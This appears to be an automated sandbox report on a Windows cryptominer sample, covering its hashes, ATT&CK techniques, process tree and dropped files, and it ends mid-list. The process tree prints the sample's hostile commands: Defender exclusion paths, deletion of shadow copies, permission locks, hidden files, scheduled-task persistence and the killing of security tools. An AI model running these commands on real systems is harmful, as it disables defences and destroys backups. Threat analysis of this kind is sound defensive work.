xmrig | 92145f39269797af5428726ea6a09d5cfa0c2ddb1a599eaaedc0d2740062020b

Analysis

max time kernel
148s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
29/07/2026, 10:46

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-29_99a256f8799130963cc60b207c00bee3_cryptbot_icedid_luca-stealer_njrat_stealc.exe
Size 3.0MB
Sample260729-mt8y6ssapd
SHA256 92145f39269797af5428726ea6a09d5cfa0c2ddb1a599eaaedc0d2740062020b
MD5 99a256f8799130963cc60b207c00bee3
SHA1 ad8e0b82f62e9e3d5057bfcf993c17f62c3e1402
SHA512 01c33f09b0b89ee7181af817817337dc5ea2097329d49494f328dfa0ed977b3516f685d5df213c689a517bbad084f5b621a149be7d2c26c2586675f97f683912
SSDEEP 49152:CgTbH94Y4Bi8TA27u6vW7DCeOuYvM3eCL4+VfpDzC9O6f/Czh1AWifQJZVfg55:B2iD2C6iC63fPpDJ6ydyWifga55
TLSH
T1ABE52219D7E404F9E0F3E5788E934A12EB77BC495771E68F036CA9560F236908E39B12
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution xmrig impact miner persistence privilege_escalation ransomware

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/files/0x000c00000001c546-86.dat	family_xmrig
behavioral2/files/0x000c00000001c546-86.dat	xmrig

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3036	powershell.exe
4500	powershell.exe
4704	powershell.exe
5912	powershell.exe
680	powershell.exe
5316	powershell.exe
3484	powershell.exe

Creates a file in the Startup directory 1 TTPs 3 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.lnk	WScript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.lnk	WScript.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Startup.lnk	WScript.exe

Executes dropped EXE 3 IoCs

pid	Process
5592	ntrights.exe
6100	mouse.exe
4520	mouse.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2664	icacls.exe
3796	icacls.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Power Settings 1 TTPs 1 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
4880	powercfg.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
3280	tasklist.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 4 IoCs

execution

Visual Basic

T1059.005

pid	Process
4576	WScript.exe
6116	WScript.exe
2532	WScript.exe
4316	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4048	cmd.exe
5488	cmd.exe
2784	cmd.exe
5524	cmd.exe
3000	cmd.exe
832	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ntrights.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2640	PING.EXE
4824	PING.EXE

Delays execution with timeout.exe 2 IoCs

defense_evasion

pid	Process
5888	timeout.exe
5460	timeout.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
240	vssadmin.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
4320	taskkill.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\Local Settings	2026-07-29_99a256f8799130963cc60b207c00bee3_cryptbot_icedid_luca-stealer_njrat_stealc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	WScript.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	WScript.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
2640	PING.EXE
4824	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4212	schtasks.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
3036	powershell.exe
3036	powershell.exe
4500	powershell.exe
4500	powershell.exe
4704	powershell.exe
4704	powershell.exe
5912	powershell.exe
5912	powershell.exe
3484	powershell.exe
3484	powershell.exe
680	powershell.exe
680	powershell.exe
5316	powershell.exe
5316	powershell.exe
4536	tskill.exe
4536	tskill.exe
5984	tskill.exe
5984	tskill.exe
1384	tskill.exe
1384	tskill.exe
2248	tskill.exe
2248	tskill.exe

Suspicious use of AdjustPrivilegeToken 35 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4880	powercfg.exe
Token: SeCreatePagefilePrivilege	4880	powercfg.exe
Token: SeDebugPrivilege	3036	powershell.exe
Token: SeDebugPrivilege	4500	powershell.exe
Token: SeDebugPrivilege	4704	powershell.exe
Token: SeDebugPrivilege	5912	powershell.exe
Token: SeDebugPrivilege	3484	powershell.exe
Token: SeIncreaseQuotaPrivilege	3484	powershell.exe
Token: SeSecurityPrivilege	3484	powershell.exe
Token: SeTakeOwnershipPrivilege	3484	powershell.exe
Token: SeLoadDriverPrivilege	3484	powershell.exe
Token: SeSystemProfilePrivilege	3484	powershell.exe
Token: SeSystemtimePrivilege	3484	powershell.exe
Token: SeProfSingleProcessPrivilege	3484	powershell.exe
Token: SeIncBasePriorityPrivilege	3484	powershell.exe
Token: SeCreatePagefilePrivilege	3484	powershell.exe
Token: SeBackupPrivilege	3484	powershell.exe
Token: SeRestorePrivilege	3484	powershell.exe
Token: SeShutdownPrivilege	3484	powershell.exe
Token: SeDebugPrivilege	3484	powershell.exe
Token: SeSystemEnvironmentPrivilege	3484	powershell.exe
Token: SeRemoteShutdownPrivilege	3484	powershell.exe
Token: SeUndockPrivilege	3484	powershell.exe
Token: SeManageVolumePrivilege	3484	powershell.exe
Token: 33	3484	powershell.exe
Token: 34	3484	powershell.exe
Token: 35	3484	powershell.exe
Token: 36	3484	powershell.exe
Token: SeDebugPrivilege	680	powershell.exe
Token: SeDebugPrivilege	5316	powershell.exe
Token: SeDebugPrivilege	3280	tasklist.exe
Token: SeDebugPrivilege	4320	taskkill.exe
Token: SeBackupPrivilege	6056	vssvc.exe
Token: SeRestorePrivilege	6056	vssvc.exe
Token: SeAuditPrivilege	6056	vssvc.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 3692 wrote to memory of 6116	3692	2026-07-29_99a256f8799130963cc60b207c00bee3_cryptbot_icedid_luca-stealer_njrat_stealc.exe	89
PID 3692 wrote to memory of 2532	3692	2026-07-29_99a256f8799130963cc60b207c00bee3_cryptbot_icedid_luca-stealer_njrat_stealc.exe	90
PID 6116 wrote to memory of 2784	6116	WScript.exe	91
PID 2784 wrote to memory of 5592	2784	cmd.exe	93
PID 2784 wrote to memory of 4880	2784	cmd.exe	94
PID 2784 wrote to memory of 3036	2784	cmd.exe	95
PID 2784 wrote to memory of 4500	2784	cmd.exe	97
PID 2784 wrote to memory of 4704	2784	cmd.exe	98
PID 2784 wrote to memory of 5912	2784	cmd.exe	99
PID 2784 wrote to memory of 3484	2784	cmd.exe	100
PID 2784 wrote to memory of 5888	2784	cmd.exe	102
PID 2784 wrote to memory of 3048	2784	cmd.exe	103
PID 2784 wrote to memory of 4816	2784	cmd.exe	104
PID 2784 wrote to memory of 3796	2784	cmd.exe	105
PID 2784 wrote to memory of 2664	2784	cmd.exe	106
PID 2784 wrote to memory of 5524	2784	cmd.exe	107
PID 5524 wrote to memory of 680	5524	cmd.exe	108
PID 2784 wrote to memory of 5316	2784	cmd.exe	109
PID 2784 wrote to memory of 4212	2784	cmd.exe	110
PID 2784 wrote to memory of 4536	2784	cmd.exe	111
PID 2784 wrote to memory of 5984	2784	cmd.exe	112
PID 2784 wrote to memory of 1384	2784	cmd.exe	113
PID 2784 wrote to memory of 2248	2784	cmd.exe	114
PID 2784 wrote to memory of 2640	2784	cmd.exe	115
PID 4576 wrote to memory of 3000	4576	WScript.exe	120
PID 3000 wrote to memory of 832	3000	cmd.exe	122
PID 832 wrote to memory of 3280	832	cmd.exe	123
PID 3000 wrote to memory of 4048	3000	cmd.exe	125
PID 4048 wrote to memory of 6100	4048	cmd.exe	126
PID 3000 wrote to memory of 5460	3000	cmd.exe	127
PID 3000 wrote to memory of 5488	3000	cmd.exe	128
PID 5488 wrote to memory of 4520	5488	cmd.exe	129
PID 3000 wrote to memory of 4320	3000	cmd.exe	130
PID 3000 wrote to memory of 4824	3000	cmd.exe	131
PID 2784 wrote to memory of 3528	2784	cmd.exe	132
PID 2784 wrote to memory of 2648	2784	cmd.exe	133
PID 2784 wrote to memory of 464	2784	cmd.exe	134
PID 2784 wrote to memory of 240	2784	cmd.exe	135
PID 2784 wrote to memory of 2552	2784	cmd.exe	138

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 5 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3528	attrib.exe
2648	attrib.exe
464	attrib.exe
3048	attrib.exe
4816	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2026-07-29_99a256f8799130963cc60b207c00bee3_cryptbot_icedid_luca-stealer_njrat_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-29_99a256f8799130963cc60b207c00bee3_cryptbot_icedid_luca-stealer_njrat_stealc.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3692
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Sound\unistall.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - Suspicious use of WriteProcessMemory
  PID:6116
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /k unistall.bat
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2784
  - - C:\Users\Admin\AppData\Roaming\Sound\ntrights.exe
      ntrights -u Admin +r SeLockMemoryPrivilege
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:5592
  - - C:\Windows\system32\powercfg.exe
      powercfg.exe /setactive 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c
      4⤵
      Power Settings
      Suspicious use of AdjustPrivilegeToken
      PID:4880
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "New-Item -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths' -Force | Out-Null"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3036
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths' -Name 'C:\Sound' -Value 0 -PropertyType DWord -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4500
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths' -Name 'C:\runtime' -Value 0 -PropertyType DWord -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4704
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths' -Name 'C:\Users\Admin\AppData\Roaming\Sound' -Value 0 -PropertyType DWord -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5912
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Sound','C:\runtime','C:\Users\Admin\AppData\Roaming\Sound' -ErrorAction SilentlyContinue"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3484
  - - C:\Windows\system32\timeout.exe
      timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:5888
  - - C:\Windows\system32\attrib.exe
      attrib +H system.bat
      4⤵
      Views/modifies file attributes
      PID:3048
  - - C:\Windows\system32\attrib.exe
      attrib +H system.vbs
      4⤵
      Views/modifies file attributes
      PID:4816
  - - C:\Windows\system32\icacls.exe
      icacls C:\Sound\system.bat /deny *S-1-1-0:(DE,WA) *S-1-5-7:(DE,WA)
      4⤵
      Modifies file permissions
      PID:3796
  - - C:\Windows\system32\icacls.exe
      icacls C:\Sound\system.bat /deny *S-1-1-0:(DE,DC,WA) *S-1-5-7:(DE,DC,WA)
      4⤵
      Modifies file permissions
      PID:2664
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "[System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value" 2>nul
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:5524
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "[System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:680
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "(Get-Content 'C:\Sound\system.xml') -replace '22', 'S-1-5-21-552508041-2681165170-3229858294-1000' | Out-File -Encoding ASCII 'C:\Sound\system.xml'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5316
  - - C:\Windows\system32\schtasks.exe
      SchTasks /Create /TN "audio system" /XML "C:\Sound\system.xml" /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4212
  - - C:\Windows\system32\tskill.exe
      tskill Monitor
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4536
  - - C:\Windows\system32\tskill.exe
      tskill smBootTime
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5984
  - - C:\Windows\system32\tskill.exe
      tskill Suo12_StartupManager
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1384
  - - C:\Windows\system32\tskill.exe
      tskill RealTimeProtector
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2248
  - - C:\Windows\system32\PING.EXE
      ping -n 50 localhost
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:2640
  - - C:\Windows\system32\attrib.exe
      attrib +H C:\runtime\audio.exe
      4⤵
      Views/modifies file attributes
      PID:3528
  - - C:\Windows\system32\attrib.exe
      attrib +H C:\runtime
      4⤵
      Views/modifies file attributes
      PID:2648
  - - C:\Windows\system32\attrib.exe
      attrib +H C:\Sound
      4⤵
      Views/modifies file attributes
      PID:464
  - - C:\Windows\system32\vssadmin.exe
      vssadmin delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:240
  - - C:\Windows\system32\cmd.exe
      cmd /c del "C:\Users\Admin\AppData\Roaming\Sound\unistall.bat"
      4⤵
      PID:2552
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Sound\audio.vbs"
  2⤵
  - Creates a file in the Startup directory
  - Executes a VBScript file via the Windows Script Host.
  - Modifies registry class
  PID:2532

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Sound\update.vbs"
1⤵
- Creates a file in the Startup directory
- Executes a VBScript file via the Windows Script Host.
- Modifies registry class
PID:4316

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\runtime\system1.vbs"
1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:4576
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\runtime\system1.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3000
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq audio.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:832
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq audio.exe"
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:3280
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c mouse.bat position
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4048
  - - C:\runtime\mouse.exe
      mouse.exe position
      4⤵
      Executes dropped EXE
      PID:6100
- - C:\Windows\system32\timeout.exe
    timeout 2
    3⤵
    - Delays execution with timeout.exe
    PID:5460
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c mouse.bat position
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5488
  - - C:\runtime\mouse.exe
      mouse.exe position
      4⤵
      Executes dropped EXE
      PID:4520
- - C:\Windows\system32\taskkill.exe
    TASKKILL /F /IM audio.exe /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4320
- - C:\Windows\system32\PING.EXE
    ping -n 600 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4824

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:6056

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Power Settings

T1653

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Direct Volume Access

T1006

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

system.xml

Path C:\Sound\system.xml
Size 1KB
SHA256 bf70b9253f18cd9bb8b59a787210e9caf432de5b35cc8048b1405bec8227ef1e
MD5 4871b5210ba656ca1b2641466b99136b
SHA1 d7951f3c297bf53621bcbc18e923739b4386f3e0
SHA512 10968c7c3509cc91cc536e86a98530f8eb8548589ad03e10950732e1a046a06a3174f3e77eeed3d422a2646e3759d960e7b009b89a352247ef4661ca5794ba64
TLSH
T1AB31FD78A8C0B71F7672453AA7115B82EF2683E346534038B8CC8BAF2F75585619397B
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
MD5 acbc65123954839a819fa2495d239bf7
SHA1 063cff64444a6e3b4be1445b4cecb477e4d6ae47
SHA512 af07d3f6dcf1779bcc864aabe9e08563b20b8df8238df7bb08a5fe3b4e40d10f2e2a4442a042fe5d7a320e3b8195799ecc885549faa8babb5909eb32271e7b91
TLSH
T170216833B3DD8615CC9A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 7687942aa7b74df86b7b7cb99d4f30530c568eae05c9225a7e4a7f6344e68a4c
MD5 b94214a8f0e27858c00a350ab2cba0da
SHA1 cef13e8cb7ac3f59145b45a8247fd3bb2b886d64
SHA512 04062bc74cc2fbd15ca2db46f2a3ebc95b903006b9e151fab793bc9b69ed633f19f0ce51e4bfd290d06174df5fb04cde3a574cec536ba162c8d218853d1b9e0a
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 54aa570220e696de49a9a588711123e43032522c4578b6fa4f918d2666c1cb32
MD5 27db61c440595c38f5a7b661c618d0c9
SHA1 87613fdda39013791c068bdeec060f945fa2e908
SHA512 e367d57ce85719fa4e3cfd8083e0a5f71110b3f845c1ea7d3a0a3393066cfa90b96712701f044b731fab41ff6a751b7f4db794795c1f3aec955f642c3df25586
TLSH
T1FC115733F3CC8624C89A413650CEAC1036B587DB519ECE6BBB84D154B43F699DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 1644a8734b1a870853c20608b2c652c71a46e3cce6318ad116a4f9159a76d282
MD5 c104f03b2b4f3402a8cad00e56679300
SHA1 e1d3b9ab2d030f209415f08f5a8c3906bb5c86db
SHA512 d6e259d5aecf849e0b812f786147f10cfb7971150c06d1319d6907093c09ffb05f4a5559fbf4850a5f8dd99f00e9c06b994e9677baa707d549eb65a2042c9eb2
TLSH
T182215333F3CC8624CC9A403A50CEAC1036B687DB419EDFABBB84D155A43F699DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_lsdydshx.rt1.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lsdydshx.rt1.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

7za.dll

Path C:\Users\Admin\AppData\Roaming\Sound\7za.dll
Size 263KB
SHA256 bd377ba96ff8d3cbaea98190c8a60f32dc9d64dd44eed9aade05d3a74d935701
MD5 3107caecf7ec7a7ce12d05f9c3ab078f
SHA1 b72ac571efde591906771b45bed5b7dc568d7b08
SHA512 e5f7bceb39975bc77de3d118ab17aed0f2bd5df12dbbcad5a355c34d71dff883a482b377e4b98622ccc3ba48649ba3330d3bb0bac7f9f2e861d9af0c10d1637e
SSDEEP 6144:ZNnwY0ozR5spzvSrnHefQOWdFQJvUhq36F:ZGY0YR5VrnHefgd6JvUe6F
TLSH
T12F449E2177FAC0F5C9872230961DBBBA95FAA3491B10C8C36380DE5A6E375E6D23D50D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

7za.exe

Path C:\Users\Admin\AppData\Roaming\Sound\7za.exe
Size 722KB
SHA256 ea308c76a2f927b160a143d94072b0dce232e04b751f0c6432a94e05164e716d
MD5 43141e85e7c36e31b52b22ab94d5e574
SHA1 cfd7079a9b268d84b856dc668edbb9ab9ef35312
SHA512 9119ae7500aa5cccf26a0f18fd8454245347e3c01dabba56a93dbaaab86535e62b1357170758f3b3445b8359e7dd5d37737318a5d8a6047c499d32d5b64126fc
SSDEEP 12288:AwAxBpwU5gU+2/9dB5XlH1YAEa5OLW0TjLWG3rn0Yf5ogmn9X9Rf6TIALr22DIVM:AhY2gUfVH5XlVYzagW4/3rn0Y5zmzRfq
TLSH
T177F48D227BF6C0B7C64211318A1C6BF690F6F3190B3059C367908F6D6B399D5D63AE1A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

7zxa.dll

Path C:\Users\Admin\AppData\Roaming\Sound\7zxa.dll
Size 155KB
SHA256 d0680ac62e94f953df031533acd0acb718ad8494f938d84198c655507709e5df
MD5 786d4c74c05832a652be5c0a559be1e6
SHA1 56bc5cf0bef56565da871af9e10ac8c2302d2ad7
SHA512 29cf07d3acceb716a2e9ec66434170ba7f15c5af3c843253d72be6f7bf1ab942a6e098a423beb33efb9fbf8bb6c967c34d4dedf65aca72984c6aa70c58e0eeb4
SSDEEP 3072:QwBYN3i204AHpzTjaLd4+OTpLcl28hpQplf4btKL6mCF:E3cp3jaLupLc3fclAKmJ
TLSH
T100F3AE2177BA80F9D24B32359A1D7FBA12BDE3484F1485C76700EE5A2E319D5E23D21E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WinIo64.sys

Path C:\Users\Admin\AppData\Roaming\Sound\WinIo64.sys
Size 15KB
SHA256 7fa19d4b2b160ca3f2decde3d7c7d867527c96f3511a9dbecc898cfc14614638
MD5 97373d38bdd890a2f1224c7d1586db91
SHA1 013651321c499fa331b0c62b2a981027c5dd112b
SHA512 dd9e1d6092ae9297541ac92330f162b8a18dfabda7a616e3305403366827da2b496a8c5fcc2cca46d24ace2aa9a46e9afd674ea9b6da457d055dd4fdae29231f
SSDEEP 384:IX4Pi8McCo0HOk8JHZV+2s8j+JiRXZfdUb+3nAK:KUC7eHZV+PC+qQi3nAK
TLSH
T10D623B9A4E2F9486DB03DE7D90C98663FC70F5C26BAC15E79126C4256D067E07FBC208
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WinRing0x64.sys

Path C:\Users\Admin\AppData\Roaming\Sound\WinRing0x64.sys
Size 14KB
SHA256 11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5
MD5 0c0195c48b6b8582fa6f6373032118da
SHA1 d25340ae8e92a6d29f599fef426a2bc1b5217299
SHA512 ab28e99659f219fec553155a0810de90f0c5b07dc9b66bda86d7686499fb0ec5fddeb7cd7a3c5b77dccb5e865f2715c2d81f4d40df4431c92ac7860c7e01720d
SSDEEP 192:nqjKhp+GQvzj3i+5T9oGYJh1wAoxhSF6OOoe068jSJUbueq1H2PIP0:qjKL+v/y+5TWGYOf2OJ06dUb+pQ
TLSH
T1096218874B7E1906FB969F7592E9C7936D34F6C0CFA825CF421299982C413E0AF2861C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

audio.vbs

Path C:\Users\Admin\AppData\Roaming\Sound\audio.vbs
Size 557B
SHA256 5b8e951c7a7c2e23092fb1bcdcb59d03a4f3896860a267c41189fedccb83314f
MD5 7260386ba2376e3b74810f40880062a8
SHA1 bf39f0f334a86830190f4ebbbe9a285149f79a7a
SHA512 173770fdc3db14f40b7ed7fefc073ee4a6020b596a5bd22a99ccba22b983f422e276cc6046133c343ca142012471e4143d60ae380eaecdbfc3a6a789b57d5b49
TLSH
T1E7F02BD9E928C490688726A180F9DC18C3A6AA852872D814775DCE8D67206684F798BB
MD5 SHA1 SHA512 TLSH

Submit Download

downtrj.bat

Path C:\Users\Admin\AppData\Roaming\Sound\downtrj.bat
Size 125B
SHA256 c2b28533e93e1f7e9bef9146157d3164aa4adf4c3d673374412a11d68d11ffb2
MD5 2b0208318b7f464c91940e99633b2550
